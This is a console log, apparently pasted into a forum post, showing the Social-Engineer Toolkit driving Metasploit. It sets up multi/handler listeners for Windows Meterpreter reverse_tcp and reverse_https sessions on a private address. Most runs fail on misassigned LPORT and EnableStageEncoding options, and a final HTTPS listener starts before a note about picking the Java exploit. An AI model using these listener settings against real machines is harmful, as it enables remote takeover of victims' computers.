Code:
[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.1.14
LHOST => 192.168.1.14
resource (/root/.set/meta_config)> set EnableStageEncoding 22
EnableStageEncoding => 22
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT false
LPORT => false
resource (/root/.set/meta_config)> exploit -j
[-] Exploit failed: The following options failed to validate: LPORT, EnableStageEncoding.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.1.14
LHOST => 192.168.1.14
resource (/root/.set/meta_config)> set EnableStageEncoding 53
EnableStageEncoding => 53
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT false
LPORT => false
resource (/root/.set/meta_config)> exploit -j
[-] Exploit failed: The following options failed to validate: LPORT, EnableStageEncoding.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.1.14
LHOST => 192.168.1.14
resource (/root/.set/meta_config)> set EnableStageEncoding 443
EnableStageEncoding => 443
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT false
LPORT => false
resource (/root/.set/meta_config)> exploit -j
[-] Exploit failed: The following options failed to validate: LPORT, EnableStageEncoding.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.1.14
LHOST => 192.168.1.14
resource (/root/.set/meta_config)> set EnableStageEncoding 21
EnableStageEncoding => 21
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT false
LPORT => false
resource (/root/.set/meta_config)> exploit -j
[-] Exploit failed: The following options failed to validate: LPORT, EnableStageEncoding.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.1.14
LHOST => 192.168.1.14
resource (/root/.set/meta_config)> set EnableStageEncoding 25
EnableStageEncoding => 25
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT false
LPORT => false
resource (/root/.set/meta_config)> exploit -j
[-] Exploit failed: The following options failed to validate: LPORT, EnableStageEncoding.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
resource (/root/.set/meta_config)> set LHOST 192.168.1.14
LHOST => 192.168.1.14
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j[*] Exploit running as background job.
This is when I choose the JAVA exploit